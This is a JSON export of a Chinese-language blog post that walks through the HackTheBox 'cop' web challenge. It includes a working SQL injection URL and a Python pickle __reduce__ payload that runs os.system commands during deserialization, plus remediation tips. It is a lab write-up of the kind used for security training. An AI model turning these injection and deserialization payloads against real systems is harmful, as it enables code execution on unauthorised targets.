{"id":1047,"date":"2023-12-20T00:13:48","date_gmt":"2023-12-19T16:13:48","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1047"},"modified":"2024-03-16T00:57:03","modified_gmt":"2024-03-15T16:57:03","slug":"htb-cop","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1047","title":{"rendered":"HTB COP"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">\u76ee\u6a19\u8aaa\u660e<\/h3>\n\n\n\n<p>hackthebox\u4e0a\u7684web\u9776\u6a5f,\u540d\u7a31\u70ba<code>cop<\/code>,\u60c5\u5883\u662f\u8cfc\u7269\u7db2\u7ad9<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u98a8\u96aa<\/h3>\n\n\n\n<p>\u6b64\u76ee\u6a19\u767c\u73fe2\u500b\u5b89\u5168\u98a8\u96aa<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>SQL injection\u6f0f\u6d1e<\/li>\n\n\n\n<li>PICKLE\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/li>\n<\/ol>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b89\u5168\u512a\u5316\u5efa\u8b70\u00a0<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6aa2\u67e5\u4f7f\u7528pickle\u6642\u7684\u53cd\u5e8f\u5217\u5316\u662f\u5426\u6709\u554f\u984c<\/li>\n\n\n\n<li>\u6aa2\u67e5sql\u8a9e\u6cd5\u80fd\u4e0d\u80fd\u88ab\u5916\u90e8\u4fee\u6539<\/li>\n<\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u653b\u64ca\u624b\u6cd5<\/h2>\n\n\n\n<p>\u4f7f\u7528sql injection\u6f0f\u6d1e\u5c07\u60e1\u610f\u7684\u53cd\u5e8f\u5217\u5316\u5167\u5bb9\u5582\u5165\u76ee\u6a19,\u4ee5\u57f7\u884c\u7279\u5b9a\u7684\u60e1\u610f\u6307\u4ee4<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e2c\u8a66SQL\u6ce8\u5165\u6f0f\u6d1e<\/h3>\n\n\n\n<p>\u770b\u5546\u54c1\u6642\u53ef\u4ee5\u767c\u73feget view\/1 \u53ef\u4ee5\u67e5\u8a62\u5546\u54c1\u660e\u7d30,\u800c\u9019view\/1\u6703\u900f\u904emodels.py\u5167\u7684sql\u8a9e\u6cd5\u6488\u6578\u64da<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def select_by_id(product_id):\n  return query_db(f\"SELECT data FROM products WHERE id='{product_id}'\", one=True)<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u767c\u73feproduct_id\u9019\u500b\u8b8a\u6578\u76f4\u63a5\u50b3\u5165sql\u67e5\u8a62\u5167,\u4f7f\u7528<code>-1' OR '1'--<\/code>, \u5982\u4e0b\u6240\u793a, <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;localhost:1333\/view\/-1%27%20OR%20%271%27--<\/code><\/pre>\n\n\n\n<p>\u6e2c\u8a66\u767c\u73fe\u8fd4\u56de200 ok,\u9019\u8868\u793asql\u57f7\u884c\u6210\u529f. \u56e0\u70ba\u6c92\u6210\u529f\u6703\u8fd4\u56de\u932f\u8aa4\u8a0a\u606f<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u88fd\u505a\u60e1\u610f\u7684pickle\u5e8f\u5217\u5316\u5167\u5bb9<\/h3>\n\n\n\n<p>\u5206\u6790app.py\u6642\u767c\u73fe\u6709pickle\u5b89\u5168\u6f0f\u6d1e,\u53ef\u53c3\u8003\u88dc\u5145\u8aaa\u660e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>@app.template_filter('pickle')\ndef pickle_loads(s):\n  return pickle.loads(base64.b64decode(s))<\/code><\/pre>\n\n\n\n<p>\u6839\u64da\u9019\u500b\u6f0f\u6d1e\u88fd\u505a\u60e1\u610f\u7684\u5e8f\u5217\u5316\u5167\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import pickle\r\nimport base64\r\nimport os\r\n\r\nclass RCE:\r\n    def __reduce__(self):\n        payload = 'cp flag.txt application\/static\/.'\r\n        return os.system, (payload,)\n\r\n\rpayload = pickle.dumps(RCE())\npayload_base64 = base64.b64encode(payload).decode()\nprint(payload_base64 )<\/code><\/pre>\n\n\n\n<p>\u8a72\u4ee3\u78bc\u8b93\u76ee\u6a19\u5728\u53cd\u5e8f\u5217\u5316\u6642\u57f7\u884c<code>cp flag.txt application\/static\/.<\/code>.\u7531\u65bc\u76ee\u6a19\u5148\u8b80\u53d6base64\u683c\u5f0f,\u6240\u4ee5\u5728\u9019\u6bb5\u4ee3\u78bc\u4e2d\u5c07\u5e8f\u5217\u5316\u5167\u5bb9\u505abase64\u7de8\u78bc, <\/p>\n\n\n\n<p>\u7136\u5f8c\u57f7\u884c\u8a72\u4ee3\u78bc\u7522\u751f\u60e1\u610f\u7684\u5e8f\u5217\u5316\u5167\u5bb9<code>&lt;malicious_pickle_base64><\/code><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c07\u60e1\u610f\u5167\u5bb9\u5582\u5165\u76ee\u6a19<\/h3>\n\n\n\n<p>\u70ba\u4e86\u8b93\u60e1\u610f\u7684\u5e8f\u5217\u5316\u5167\u5bb9\u53ef\u4ee5\u5582\u9032\u7cfb\u7d71,\u9700\u8981\u900f\u904esql injection\u6f0f\u6d1e<\/p>\n\n\n\n<p><code>http:\/\/localhost:1333\/view\/' UNION SELECT '&lt;malicious_pickle_base64><\/code><\/p>\n\n\n\n<p>\u57f7\u884c\u5f8c\u6703\u5728\u76ee\u6a19\u5167\u7522\u751f\u4ee5\u4e0bsql\u8a9e\u6cd5,<\/p>\n\n\n\n<p><code>SELECT data FROM products WHERE id='' UNION SELECT '&lt;malicious_pickle_base64>'<\/code><\/p>\n\n\n\n<p>\u8a72\u8a9e\u6cd5\u6703\u5c07\u60e1\u610f\u5167\u5bb9\u9001\u5230python\u7684pickle\u6a21\u7d44,\u89f8\u767c\u6f0f\u6d1e\u57f7\u884c\u6307\u4ee4\u6703\u628aflag\u8907\u88fd\u5230static\u76ee\u9304\u4e0b,\u53ea\u8981\u958b\u555f\u7db2\u5740\u5373\u53ef\u5f97\u5230flag<\/p>\n\n\n\n<p><code>http:\/\/localhost:1333\/static\/flag.txt<\/code><\/p>\n\n\n\n<p><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-wide\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u88dc\u5145\u8aaa\u660e  <\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">pickle\u7c21\u4ecb<\/h3>\n\n\n\n<p>pickle\u662fpython\u7684\u6a21\u584a,\u7528\u9014\u662f\u53ef\u4ee5\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316.\u8a72\u6a21\u584a\u6709opcode\u7684\u529f\u80fd,\u53ef\u4ee5\u57f7\u884cpython\u4ee3\u78bc,\u56e0\u6b64\u5c31\u5bb9\u6613\u7522\u751f\u5b89\u5168\u554f\u984c<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u4ee5\u4e0b\u662fpickle\u4f7f\u7528\u7bc4\u4f8b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import pickle\r\n \r\nclass demo():\r\n    def __init__(self):\r\n        self.age=18\n        self.name=\"Pickle\"\r\n \r\np=demo()\r\nopcode=pickle.dumps(p)\r\nprint(opcode)\r\n\r\r\r\r\nP=pickle.loads(opcode)\r\nprint('The age is:'+str(P.age),'The name is:'+P.name)\r<\/code><\/pre>\n\n\n\n<p>\u4f7f\u7528pickle.dumps()\u505a\u5e8f\u5217\u5316,\u5f97\u5230 <code>b'\\x80\\x04\\x957\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x08__main__\\x94\\x8c\\x06demo\\x94\\x93\\x94)\\x81\\x94}\\x94(\\x8c\\x03age\\x94K\\x12\\x8c\\x04name\\x94\\x8c\\x06Pickle\\x94ub.'<\/code><\/p>\n\n\n\n<p>\u4e26\u4f7f\u7528pickle.loads()\u505a\u53cd\u5e8f\u5217\u5316\u5f97\u5230<code>The age is:18 The name is:Pickle<\/code><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">pickle\u53cd\u5e8f\u5217\u6f0f\u6d1e<\/h3>\n\n\n\n<p>\u53ea\u8981\u52a0\u5165<code>__reduce__<\/code>\u7684function,\u5c31\u53ef\u4ee5\u5728\u5e8f\u5217\u5316\u6642\u52a0\u5165\u8981\u57f7\u884c\u7684\u6307\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import pickle\r\nimport os\r\n \r\nclass Person():\r\n    def __init__(self):\r\n        self.age=18\r\n        self.name=\"Pickle\"\r\n    def __reduce__(self):\r\n        command=r\"whoami\"\r\n        return (os.system,(command,))\r\n \r\np=Person()\r\nopcode=pickle.dumps(p)\r\nprint(opcode)\r\n \r\nP=pickle.loads(opcode)\r\nprint('The age is:'+str(P.age),'The name is:'+P.name)<\/code><\/pre>\n\n\n\n<p>pickle.loads()\u4e00\u65e6\u8b80\u53d6\u60e1\u610f\u7684\u5e8f\u5217\u5316\u5167\u5bb9,\u5c31\u6703\u57f7\u884c\u4ee3\u78bc\u4e2d\u6307\u4ee4whoami <\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u53c3\u8003\u6587\u737b<\/p>\n\n\n\n<p><a href=\"https:\/\/zhuanlan.zhihu.com\/p\/89132768\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/zhuanlan.zhihu.com\/p\/89132768<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/goodapple.top\/archives\/1069\" target=\"_blank\" rel=\"noopener\">https:\/\/goodapple.top\/archives\/1069<\/a><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4f7f\u7528sql injection\u6f0f\u6d1e\u5c07\u60e1\u610f\u7684\u53cd\u5e8f\u5217\u5316\u5167\u5bb9\u5582\u5165\u76ee\u6a19,\u4ee5\u57f7\u884c\u7279\u5b9a\u7684\u60e1\u610f\u6307\u4ee4<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[27],"tags":[50,49],"class_list":["post-1047","post","type-post","status-publish","format-standard","hentry","category-hackerskill","tag-deserialization","tag-sqli"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1047","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1047"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1047\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1047"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1047"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1047"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}